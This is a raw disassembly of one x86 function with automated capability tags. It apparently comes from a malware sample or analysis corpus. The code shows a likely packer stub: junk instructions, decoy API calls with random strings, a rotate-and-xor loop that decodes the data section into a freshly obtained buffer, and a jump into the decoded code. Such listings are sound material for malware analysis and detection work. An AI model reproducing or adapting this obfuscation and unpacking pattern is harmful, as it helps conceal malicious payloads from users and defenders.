Function at 0x402000
Capabilities:
Authenticate hmac
Get disk information
Get thread local storage value
Query environment variable
Read .ini file
Set environment variable

Disassembly:
mov ecx, dword [esp]
add ecx, 0xffffffa3
or dword [0x406728], ecx
adc edi, dword [0x40677b]
or edi, dword [0x406775]
push str.bjdfgngyhlmvfchvb
push 0xb
push str.kjbxhkiivda
push str.kwxbzgclawq
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x402689
sbb dword [0x406721], 0xf6
sub ebx, ebx
xor esi, 0x32
add dword [0x4067f9], esi
mov edx, 0x402689
call edx
or dword [0x406636], 0x82
adc dword [0x406663], 0xae
mov dword [0x406729], 0x4d
sbb ebx, 0xffffffb9
add byte [eax], al
add byte [eax], al
add byte [eax], al
push ebp
mov ebp, esp
nop
lea esp, [ebp - 0x3c]
mov dword [0x4066e1], 0x37
and dword [0x4067e2], 0xc6
mov ecx, dword [esp]
adc ecx, dword [0x4067e9]
mov ebx, dword [esp]
adc ebx, dword [0x40667a]
mov di, sp
sub di, 0xfdfc
jb 0x402689
add ebx, 0x60
or bl, byte [0x406807]
sbb ebx, 0x38
or bl, byte [0x40678f]
xor ebx, ebx
push 0x406989
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov ecx, dword [esp]
add ecx, 0xffffffe2
add ecx, 0x6a
adc dword [0x4067f6], ebx
mov edi, dword [esp]
add edi, 0xffffffb1
add cl, bh
push str.bjdfgngyhlmvfchvb
push 0xb
push str.kjbxhkiivda
push str.kwxbzgclawq
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x402485
mov dword [0x406665], 0x32
mov ecx, dword [esp]
add ecx, 0xffffffeb
sbb dword [0x406799], ecx
xor dword [0x406705], edi
adc bh, byte [0x406762]
adc ch, bh
mov ebx, 0x40226a
call ebx
xor ebx, 0xffffff8d
add byte [0x406792], ch
or dword [0x406737], 0x78
adc dword [0x4066a3], 0x9c
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
xor eax, 0x40678d
add dword [0x40678d], esi
xor eax, edi
xor dword [0x406735], 0x33
add ebx, ebx
xor esi, esi
sub dword [0x4066e6], esi
push str.ojtywqyhhnxageuz
push 0xa
push str.amdpzsfrzj
push str.qcdphawzffw
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
test eax, eax
jne 0x403157
mov dword [0x40678f], 0xa8
and dword [0x4066af], edi
or esi, dword [0x406768]
xor ebx, 0xffffff9e
sub ebx, ebx
mov eax, 0x403157
call eax
or bl, 0xa5
sbb byte [0x4066eb], ah
or esi, 0xffffff93
mov edx, dword [esp]
add edx, esi
sbb dword [0x40663e], esi
add dword [0x40682d], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and dword [0x4066cc], eax
add edi, 0xe
add ebx, 0x44
sub esi, dword [0x406796]
sub eax, 0xffffffcf
lea edx, [0x4069c8]
push dword [edx]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
add esi, ebx
sub dword [0x4067d9], edi
mov edx, dword [esp]
add edx, esi
mov cl, byte [esp]
add cl, bh
push str.cofxsdjkcug
push str.janqpzwslwyqhrzm
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
or dword [0x406820], edi
mov edx, dword [esp]
add edx, eax
or dword [0x4066c3], 0xb0
sub byte [0x406761], 0x30
mov esi, 0x4023c6
call esi
or eax, dword [0x406675]
adc dword [0x4067a1], 0xf5
mov dword [0x4067a4], 0x97
mov ecx, dword [esp]
add ecx, 0xffffffd1
xor dword [0x4066ad], 0x28
sub edi, edi
add byte [eax], al
and eax, 9
add dword [0x40679c], edi
adc bl, byte [0x406816]
adc dword [0x40681c], eax
add dword [0x40664b], edi
push str.nubhsedqfdlankf
push 0x40689d
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
cmp eax, 0
jne 0x402ac8
sub dword [0x406728], edi
add edi, 0x5f
adc ebx, dword [0x4066a4]
xor ebx, esi
mov dl, byte [esp]
add dl, bl
xor dword [0x40680b], ebx
lea ecx, [0x4069c8]
push dword [ecx]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
xor ebx, esi
sub eax, dword [0x40668d]
sub dword [0x4066a2], ebx
mov edx, dword [esp]
add edx, edi
mov ecx, dword [esp]
add ecx, 0xffffffd3
mov eax, 0x4021d7
call eax
sub ebx, edi
and dword [0x40670e], esi
adc dword [0x40671d], eax
adc dword [0x406738], 0xbc
and edi, 0x4b
adc dword [0x4066e0], 0x7a
add byte [ecx + 0x4066891d], al
add byte [ecx + 0x31000000], dl
shr byte [ebx], 0x1d
popfd
inc eax
add bh, al
add eax, 0x406700
mov eax, dword [0x29000000]
cmp eax, 0x406753
sub esi, 0xffffff82
push str.xcsrygfdts
push 0xb
push str.lveaebmaacx
push str.htlpiojuolnmvi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x402689
sbb esi, 0xffffffd3
sub byte [0x406779], 0x1f
mov ecx, dword [esp]
add ecx, 0x7e
adc dword [0x4067af], 0xfc
push 0xd
push 0x4069dd
push str.aorelrttntogroil
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceA]
cmp eax, 0
jne 0x402689
sbb dword [0x40663d], esi
or edi, dword [0x4067d5]
adc edi, dword [0x406760]
adc eax, dword [0x406746]
sub edi, 0x4f
mov ebx, 0x402689
call ebx
sub edi, esi
xor ebx, 0xffffff8d
add ebx, 0
add esi, ebx
adc esi, dword [0x40680e]
mov edx, dword [esp]
adc edx, dword [0x406649]
add byte [eax], al
add byte [eax], al
add byte [eax], al
or dword [0x4066ea], 0x81
add esi, eax
mov edx, dword [esp]
add edx, 0xf
or ebx, dword [0x4066c1]
adc eax, ebx
and dword [0x406718], 0x9f
push 0xf
push 0x4069f4
push str.ovwmmdlou
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNameA]
add dword [0x406744], eax
add byte [0x40672a], ah
mov ecx, dword [esp]
add ecx, edi
sub dword [0x4066b8], ecx
xor ebx, 0x1c
sub esi, edi
push str.evqycrfsnzbjuc
push 0xa
push str.fntjhgvubs
push str.xdfwgyrzktmgioms
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x402d47
adc bh, bl
mov ecx, dword [esp]
add ecx, eax
add dword [0x406680], ecx
and dword [0x406758], 0xfb
adc eax, dword [0x4066f9]
mov edx, dword [esp]
add edx, 0x17
mov edx, 0x40261a
call edx
and eax, 0xfffffffc
xor dh, 0x70
add edx, eax
xor esi, 0x1e
adc eax, dword [0x4066ea]
add edi, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub ebx, edi
or dword [0x406681], edi
mov ecx, dword [esp]
adc ecx, dword [0x4067c1]
mov dh, byte [esp]
add dh, bh
sub byte [0x4067ae], 0xff
push str.xfsepocg
push 0x10
push str.vtxcmkjtzbbhrryp
push str.xsexolsmdylw
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x403395
and dword [0x4066fe], 0x4e
mov edx, dword [esp]
add edx, ebx
xor dword [0x406687], 0x84
mov eax, dword [esp]
add eax, edi
mov ecx, dword [esp]
adc ecx, dword [0x4066e1]
add edx, edi
mov edi, 0x403395
call edi
sub dword [0x4066bf], edi
sub ecx, 0xfffffffe
sbb dword [0x4067c0], 0x9f
adc al, byte [0x40669e]
add byte [eax], al
add byte [eax], al
xor ebx, 7
adc bl, byte [0x406748]
xor dword [0x406688], ebx
sub byte [0x406715], 0xb6
push str.xcsrygfdts
push 0xb
push str.lveaebmaacx
push str.htlpiojuolnmvi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x4032ea
adc eax, dword [0x406701]
or dword [0x406755], 0x41
add edi, 0xffffffbe
sbb dword [0x4066d9], eax
sub eax, 0xffffffd0
mov edx, dword [esp]
add edx, esi
mov eax, 0x4032ea
call eax
mov ecx, dword [esp]
add ecx, 0x38
add byte [0x40672d], cl
sbb edi, 0x3d
adc dword [0x4067c5], 0x40
add byte [eax], al
adc bh, byte [0x4067fc]
sbb dword [0x4066e9], esi
add edi, 0xffffffd0
xor dword [0x4066ae], 0x9d
lea eax, [0x4069c8]
push dword [eax]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
or dword [0x40676e], edi
mov ecx, dword [esp]
add ecx, 0xffffff9a
adc esi, dword [0x4066af]
add eax, ecx
sbb dword [0x4067dc], ecx
mov edx, dword [esp]
add edx, esi
push str.xcsrygfdts
push 0xb
push str.lveaebmaacx
push str.htlpiojuolnmvi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
test eax, eax
jne 0x402802
mov ecx, dword [esp]
add ecx, eax
adc ebx, dword [0x406686]
add dword [0x4067a8], esi
adc edi, ebx
mov eax, 0x402802
call eax
xor dword [0x4066c5], ebx
and eax, 0x6a
sub byte [0x4066fe], bl
sbb ebx, 0x76
add ebx, esi
xor eax, ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
sbb edi, 0x6d
add dword [0x4066f2], edi
sbb dword [0x40666c], eax
adc edi, dword [0x40669d]
mov dword [0x4067c8], 0x20
push 0x406989
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
adc bh, byte [0x40667c]
adc edi, dword [0x4067af]
sub edi, 0x6f
add esi, ebx
or dword [0x4066b0], 0xb4
adc dword [0x406660], esi
mov ecx, 0x402cc8
call ecx
adc eax, esi
and dword [0x406663], 0x7e
adc edi, dword [0x40678e]
adc dword [0x40669c], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov esp, ebp
pop ebp
ret
sbb al, ah
xor edi, 0x19
mov ecx, dword [esp]
add ecx, edi
add dword [0x4066b9], esi
push 0xf
push 0x4068cb
push str.uzoxsicyqcgzl
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
test eax, eax
jne 0x402000
adc ebx, 0x74
add byte [0x4066d7], al
xor dword [0x406723], 0x51
or eax, dword [0x406741]
mov ebx, 0x402000
call ebx
adc dword [0x406821], 0xf4
add dword [0x4066d1], edi
adc ebx, dword [0x40679a]
or dword [0x40675a], 9
sbb eax, 0xffffff8b
adc eax, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and dword [0x4066b6], ebx
add ebx, esi
mov ecx, dword [esp]
add ecx, 0x22
and dword [0x406761], ecx
push str.ojtywqyhhnxageuz
push 0xa
push str.amdpzsfrzj
push str.qcdphawzffw
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x402158
adc esi, dword [0x40667d]
or ebx, dword [0x4067d3]
sbb dword [0x4066a1], esi
add edi, 0xffffff86
mov esi, 0x403434
call esi
adc ebx, dword [0x406817]
add eax, esi
xor dword [0x40669b], 0xdb
mov ecx, dword [esp]
add ecx, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc eax, dword [0x4066a4]
adc dword [0x40668c], ebx
adc edi, ebx
sub bh, byte [0x406700]
push str.xcsrygfdts
push 0xb
push str.lveaebmaacx
push str.htlpiojuolnmvi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
test eax, eax
jne 0x402689
sub edi, dword [0x40669c]
adc edi, dword [0x406662]
or esi, dword [0x40675f]
adc dword [0x4066da], 8
add esi, ebx
lea esi, [0x4069c8]
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
sbb dword [0x4067af], 0x7c
and al, 0x16
mov ecx, dword [esp]
add ecx, esi
sub dword [0x4067e6], ecx
sub ah, al
or al, byte [0x4066bb]
mov ecx, 0x402689
call ecx
adc ecx, 0xfffffff1
sbb ecx, 0x63
and edi, 0xffffffea
mov edx, dword [esp]
adc edx, dword [0x4067ec]
add byte [eax], al
adc dword [0x40669d], 0x92
and dword [0x4067dc], 0x8b
mov ecx, dword [esp]
add ecx, 0x7c
xor ah, ch
sub ebx, dword [0x40680e]
and dword [0x406693], 0x6c
lea ebx, [0x4069c8]
push dword [ebx]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
sub edi, ebx
adc ebx, dword [0x4067f0]
sub byte [0x40674d], 0x2a
sub dword [0x406737], eax
mov eax, 0x402689
call eax
add dword [0x406740], esi
or ah, byte [0x4067b9]
add byte [0x4067c7], bh
sbb dword [0x4067e4], edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub edx, edx
sub edx, 0x2f0a4325
neg edx
push edx
mov ebx, 0xc68
shl ebx, 1
push ebx
mov ebx, 0xc68
shl ebx, 1
push ebx
mov ebx, 0x18d0
shl ebx, 1
push ebx
call dword [0x40687e]
pop edx
test eax, eax
je 0x402689
xor esi, esi
sub esi, 0x634
neg esi
push 0xffffffffffffffff
pop ecx
and ecx, eax
mov edi, section..data
push ecx
cmp esi, 0
je 0x402a72
or bh, byte [0x4066f5]
xor dword [0x40680f], 0x42
add dword [0x406764], ebx
xor dword [0x4066ff], 0xd0
sbb dword [0x4066c1], 0x6a
push dword [edi]
pop eax
and dword [0x4066ad], ebx
sub bl, byte [0x406689]
add dword [0x406790], ebx
and dword [0x40672c], 0xb8
xor ebx, ebx
sub ebx, dword [0x406782]
clc
adc edi, 4
or bl, byte [0x406806]
adc ebx, dword [0x406825]
sbb ebx, 6
xor dword [0x406811], 0xf5
add ebx, 0x4c
neg eax
sbb bl, 0x50
adc ebx, dword [0x4067b9]
sbb ebx, 0x60
add dword [0x4066d7], ebx
and dword [0x406707], 0xc1
add byte [0x40663e], bl
lea eax, [eax - 2]
add ebx, 0x7f
xor ebx, 0x45
and bl, 0x8a
sub ebx, dword [0x40665e]
add ebx, ebx
ror eax, 3
sub ebx, ebx
xor bh, bh
adc ebx, dword [0x40681c]
sbb ebx, 0x23
or dword [0x40682e], 0xb7
ror eax, 5
or bh, byte [0x4067be]
add ebx, 0x35
adc dword [0x406696], 0x44
or bh, byte [0x4066d0]
adc ebx, dword [0x406801]
xor eax, edx
and ebx, 0x27
xor ebx, 0xffffffc2
xor ebx, ebx
adc ebx, 0x53
clc
sbb eax, 1
adc ebx, dword [0x406714]
xor byte [0x4066ec], bh
sbb dword [0x406726], ebx
xor dword [0x406644], ebx
mov edx, eax
xor ebx, ebx
sbb ebx, ebx
or ebx, dword [0x4066fd]
and ebx, 0x35
rol edx, 3
and ebx, 0xffffffef
sub bl, bl
or ebx, dword [0x4066cc]
or dword [0x406665], ebx
sub ebx, dword [0x4067cf]
rol edx, 5
sbb dword [0x4066af], ebx
adc dword [0x40676a], 0xa0
or ebx, dword [0x406751]
sub dword [0x4067ea], ebx
push eax
pop dword [ecx]
adc ebx, ebx
sbb dword [0x40669b], ebx
sub dword [0x406642], ebx
adc dword [0x406768], ebx
xor dword [0x406730], 0x44
add ecx, 4
adc ebx, dword [0x40681b]
and dword [0x40665f], 0x5d
adc dword [0x4067b5], ebx
mov dword [0x40679d], 0x54
clc
sbb esi, 4
add byte [0x406802], bh
add ebx, ebx
sub ebx, dword [0x40670e]
or dword [0x40682d], ebx
push 0x4028c0
ret
pop ecx
mov eax, dword [0x40686f]
push eax
adc edx, 0x1f
sub edi, 0x21
and dh, 0x5e
sbb eax, 0xffffffc1
sbb dword [0x406695], 0xae
push 0x402879
or esi, dword [0x40665e]
mov dword [0x4067fa], 0x6b
adc edx, dword [0x40682b]
adc esi, dword [0x40674b]
adc dl, byte [0x406766]
jmp ecx
add edi, edi
adc ebx, 0x79
adc eax, esi
sub byte [0x4067db], 0x77
mov edx, dword [esp]
add edx, edi
push str.nubhsedqfdlankf
push 0x40689d
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
jne 0x402fe6
or edi, dword [0x406669]
mov dword [0x40680a], 0x17
sbb edi, 0xffffffaa
mov ch, byte [esp]
add ch, 0x74
mov edi, 0x402fe6
call edi
sub eax, 0x44
add ecx, 0xffffffbf
or dword [0x40671e], edi
sbb dword [0x4066c8], 0xff
mov dword [0x406717], 6
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or ebx, 0x6c
xor dword [0x4067e7], ebx
add dword [0x4066c1], esi
mov edx, dword [esp]
add edx, eax
add dword [0x4066c5], edx
adc ah, byte [0x406669]
push str.xfsepocg
push 0x10
push str.vtxcmkjtzbbhrryp
push str.xsexolsmdylw
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
test eax, eax
jne 0x402689
sbb ebx, esi
add ebx, eax
or dword [0x406764], eax
xor dword [0x406758], 0x7d
mov edi, 0x402689
call edi
sub eax, dword [0x4067a8]
mov ecx, dword [esp]
adc ecx, dword [0x4066f9]
or esi, 0xffffffdb
and esi, 0x24
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0x3d7cdbec], cl
bound eax, qword [ebx + 0x4066e915]
add byte [0x672d2583], ch
inc eax
add byte [ecx + 1], dl
rol byte [eax], 1
xor eax, 0x4066e4
mov edx, dword [esp]
add edx, 0x62
adc dword [0x4066e9], 0x2d
and dword [0x40672d], 0x51
add eax, edx
add byte [0x4066e4], dh
mov ecx, dword [esp]
adc ecx, dword [0x406666]
push 0xa
push 0x406a3b
push str.hzjsvslaekhwowdi
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
or dword [0x4067b4], eax
adc dword [0x406707], 2
xor byte [0x4066cc], ah
sub edi, dword [0x40665e]
sub byte [0x406746], ah
mov eax, 0x40276f
call eax
sbb eax, 0x43
add edi, eax
sbb dword [0x406719], 0x59
sub bh, byte [0x40679d]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor edi, esi
adc dword [0x40670e], 0x33
adc eax, eax
mov ecx, dword [esp]
adc ecx, dword [0x406734]
push 0xd
push 0x4069dd
push str.aorelrttntogroil
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceA]
cmp eax, 0
jne 0x4030e4
xor dword [0x4066fc], esi
sub esi, dword [0x406773]
mov edx, dword [esp]
adc edx, dword [0x406775]
xor al, bl
push str.cofxsdjkcug
push str.janqpzwslwyqhrzm
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
mov edx, dword [esp]
add edx, edi
mov ecx, dword [esp]
add ecx, 0xffffffde
add dword [0x4066e2], edx
adc dword [0x406788], edx
sbb edx, 0xfffffff0
mov edi, 0x4030e4
call edi
adc dword [0x40663f], 0x7b
add edi, 0x5e
adc edi, edi
adc dword [0x406752], 0xb6
or eax, 0x2f
add byte [ecx + 0x4068061d], al
add byte [eax + eax + 0xd830000], bl
mov esp, 0x8004067
mov edx, dword [esp]
add edx, 0x66
adc dword [0x406688], 0xaa
sub ebx, dword [0x4067fd]
add edi, eax
push 0xf
push 0x4069f4
push str.ovwmmdlou
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNameA]
xor byte [0x406661], al
add dword [0x40663d], esi
adc edi, dword [0x406783]
sub dword [0x4066be], eax
xor esi, 0x3a
mov edx, 0x403065
call edx
add esi, 0x74
sub byte [0x40680c], 0x7c
mov ecx, dword [esp]
add ecx, 0xffffff85
add ebx, ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edx, dword [esp]
add edx, esi
xor ebx, ebx
adc edi, 0x47
mov dword [0x40678a], 0xc3
push str.xfsepocg
push 0x10
push str.vtxcmkjtzbbhrryp
push str.xsexolsmdylw
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x40268d
and dword [0x406700], 0xae
adc ebx, eax
adc eax, eax
adc dword [0x406780], 0x70
mov edx, dword [esp]
adc edx, dword [0x4066b0]
mov dword [0x4067d2], 0x7c
mov ebx, 0x40268d
call ebx
mov ecx, dword [esp]
add ecx, eax
add byte [0x406761], bh
or dword [0x406802], edi
sub edi, dword [0x40676f]
add dword [0x40675d], edx
add byte [ebx - 0x3d7cdbec], cl
pushfd
adc al, byte [0x406803]
sub dword [0x406690], edx
adc ebx, dword [0x4067fd]
or dword [0x4066c0], 0xb5
adc edx, 0x44
lea esi, [0x406999]
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
sbb dword [0x406691], 0x84
add eax, 0x59
mov edx, dword [esp]
adc edx, dword [0x406822]
xor ebx, eax
adc ebx, dword [0x4066e4]
mov ebx, 0x402b3f
call ebx
sbb dword [0x406675], 0xad
or dword [0x4067fa], edi
mov ch, byte [esp]
add ch, bl
sub dword [0x4066e0], eax
add esi, eax
add ecx, ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc esi, 0x5e
and dword [0x406636], ebx
xor dword [0x4067ea], eax
add dword [0x406643], esi
push str.nubhsedqfdlankf
push 0x40689d
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
cmp eax, 0
jne 0x4031c6
or al, byte [0x406824]
mov dl, byte [esp]
add dl, 0x71
xor dword [0x406718], 0xf7
or eax, 0x52
mov ecx, dword [esp]
add ecx, 0x59
add edx, ebx
mov edi, 0x4031c6
call edi
or eax, dword [0x406758]
add ecx, 0x61
or eax, dword [0x4067b2]
or ebx, dword [0x406734]
adc ebx, dword [0x4067d2]
adc cl, bh
add byte [eax], al
add byte [eax], al
add edi, edi
mov ecx, dword [esp]
add ecx, eax
add dword [0x40670c], edi
adc dword [0x406688], 0x87
mov edx, dword [esp]
add edx, esi
push 0xd
push 0x4069dd
push str.aorelrttntogroil
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceA]
test eax, eax
jne 0x402bb8
adc eax, dword [0x406809]
or edi, dword [0x406667]
mov edx, dword [esp]
add edx, 0xffffffb6
xor eax, 0x1a
mov ecx, 0x402bb8
call ecx
or ebx, 0xffffffbd
add edi, 0x7c
add edx, 0x53
sub eax, dword [0x406735]
add byte [eax], al
and dword [0x40663d], 0x92
or eax, dword [0x4067b2]
mov ecx, dword [esp]
adc ecx, dword [0x406790]
and ebx, 0xffffffa1
mov dword [0x40677b], 0xa
adc eax, edi
push str.ojtywqyhhnxageuz
push 0xa
push str.amdpzsfrzj
push str.qcdphawzffw
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
test eax, eax
jne 0x40250c
and edi, 0x25
mov dword [0x406715], 0x2b
sub dword [0x406736], ebx
sbb dword [0x406721], ebx
mov edx, dword [esp]
add edx, ebx
xor dword [0x4067ae], 0x25
push str.cofxsdjkcug
push str.janqpzwslwyqhrzm
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
mov edx, dword [esp]
adc edx, dword [0x4067e8]
sbb dword [0x406813], esi
or edx, dword [0x40665b]
sbb edi, edi
xor dword [0x40676c], esi
mov esi, 0x402700
call esi
mov dword [0x406826], 0x18
sbb byte [0x40665f], dl
mov ecx, dword [esp]
adc ecx, dword [0x4066db]
sub edi, 0x12
and ecx, 0x42
sbb ecx, 0xffffff95
add byte [eax], al
add byte [ecx], ah
sbb eax, 0x406666
and dword [0x406666], ebx
mov ecx, dword [esp]
add ecx, esi
sub ah, byte [0x4066eb]
and dword [0x40669e], eax
push 0xa
push 0x406a3b
push str.hzjsvslaekhwowdi
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
sub esi, dword [0x4066c1]
mov dword [0x4067cf], 0xb9
sub dword [0x4066ef], edi
mov ecx, dword [esp]
adc ecx, dword [0x4067bd]
mov dword [0x4067be], 0x12
sbb dword [0x406776], ecx
mov edi, 0x402689
call edi
and dword [0x406751], 0xc9
adc dword [0x406730], eax
sub ecx, esi
xor dword [0x406793], edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc eax, dword [0x40676e]
and dword [0x4067e4], 0xf0
sub eax, 0x78
add eax, esi
or dword [0x40678f], 0x4a
push 0x406989
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov ecx, dword [esp]
add ecx, 0xffffffeb
or byte [0x4066ff], bh
or dword [0x406796], 0xca
sub ebx, 0xffffffba
or dword [0x4067e1], 0x9d
mov ecx, 0x40325b
call ecx
mov edx, dword [esp]
add edx, 0xffffffaf
sbb ebx, 0x1b
adc edi, dword [0x406732]
adc eax, dword [0x40663b]
and ecx, 0x4b
and dword [0x4067d5], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor dword [0x4067d7], 0x6b
mov edx, dword [esp]
add edx, esi
sub dword [0x4066fe], eax
and edx, 0x26
and dword [0x406823], eax
push 0xa
push 0x406a3b
push str.hzjsvslaekhwowdi
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
add dword [0x4067b4], edi
and dword [0x40671f], 0xd5
mov ecx, dword [esp]
add ecx, 0xffffffa4
or dword [0x406810], ebx
mov eax, 0x40230b
call eax
and dword [0x40663f], 0x9d
add dword [0x40670e], eax
xor ebx, ecx
adc dword [0x406795], 0x69
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or ebx, dword [0x40674f]
mov ecx, dword [esp]
add ecx, eax
sub dword [0x4066d7], eax
add dword [0x40679e], esi
push 0x406989
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
add ebx, edi
mov ecx, dword [esp]
adc ecx, dword [0x4067fa]
sbb dword [0x406664], edi
sbb bh, al
add ebx, esi
add dword [0x406762], eax
mov esi, 0x4037df
call esi
mov dword [0x406771], 0x35
adc ebx, dword [0x4067aa]
mov edx, dword [esp]
adc edx, dword [0x406746]
add bh, al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and dword [0x4066d7], 0x85
sbb eax, esi
sbb esi, 0xfffffff9
adc bh, byte [0x406722]
sub edi, edi
mov ecx, dword [esp]
add ecx, ebx
push 0x406989
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
xor dword [0x4066ea], eax
mov ecx, dword [esp]
adc ecx, dword [0x406639]
mov edx, dword [esp]
add edx, ebx
adc dword [0x406658], 0xa0
push str.slxpttltgmzj
push str.qvzdwryhymbq
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
sub byte [0x4067f3], 0x81
or ah, byte [0x4067c0]
and esi, 0xffffffd9
add byte [0x40680a], al
sub byte [0x4067ed], 0x94
mov ecx, 0x402689
call ecx
sub esi, edi
or dword [0x40680d], esi
xor dword [0x406817], 0x30
xor esi, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], bl
loopne 0x403277
add eax, 0x406768
mov ecx, dword [esp]
adc ecx, dword [0x4067e5]
add eax, 0x46
xor ecx, 0xffffff82
push str.slxpttltgmzj
push str.qvzdwryhymbq
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
sub eax, esi
xor dword [0x406722], esi
adc dword [0x406651], esi
mov edx, dword [esp]
add edx, esi
sub ebx, esi
sub byte [0x4066aa], 0x36
lea ecx, [0x406999]
push dword [ecx]
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
adc edi, 0xffffff83
and dword [0x406675], edi
add eax, 0xfffffff3
and dword [0x4066c9], 0x9f
mov edx, 0x402f21
call edx
or dword [0x4066f3], 0x70
mov edx, dword [esp]
adc edx, dword [0x4066b2]
adc dword [0x406687], 0x7e
xor edi, edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ecx, dword [esp]
add ecx, 0xffffff89
sub esi, dword [0x40682b]
and bh, 0x9b
sub esi, dword [0x406823]
and dword [0x4067f6], 0x1d
push str.bjdfgngyhlmvfchvb
push 0xb
push str.kjbxhkiivda
push str.kwxbzgclawq
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
cmp eax, 0
jne 0x402689
adc ah, byte [0x406787]
sub eax, esi
add dword [0x4067b4], esi
sbb esi, 0xffffffcf
push str.ojtywqyhhnxageuz
push 0xa
push str.amdpzsfrzj
push str.qcdphawzffw
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileSectionW]
test eax, eax
jne 0x402689
or byte [0x406731], bh
add ebx, eax
sub eax, 8
sbb eax, edi
xor dword [0x406816], ebx
mov ecx, 0x402689
call ecx
mov dword [0x4066d1], 0xc2
adc edi, dword [0x4067a5]
sbb ah, al
xor esi, 0xffffffc6
adc dword [0x406715], 0xc0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add eax, 0xffffffad
xor dword [0x4067b6], 0x34
adc ah, byte [0x406673]
mov edx, dword [esp]
add edx, 0xffffffe8
sbb dword [0x406724], 0x67
adc eax, dword [0x4067bc]
push 0x406989
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov edx, dword [esp]
add edx, 0xffffff9e
sub dword [0x4066ff], eax
xor eax, 0xffffff80
mov ecx, dword [esp]
adc ecx, dword [0x40675c]
adc ah, byte [0x40674e]
add dword [0x406816], ebx
push 0xf
push 0x4069f4
push str.ovwmmdlou
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNameA]
adc al, byte [0x40668c]
or dword [0x4066b5], ebx
add edi, edi
add dword [0x4067c3], ebx
mov ebx, 0x402689
call ebx
xor dword [0x4066f6], 0x75
add ebx, edi
and dword [0x4066bd], 0xb3
mov esi, dword [esp]
add esi, ebx
add byte [eax], al
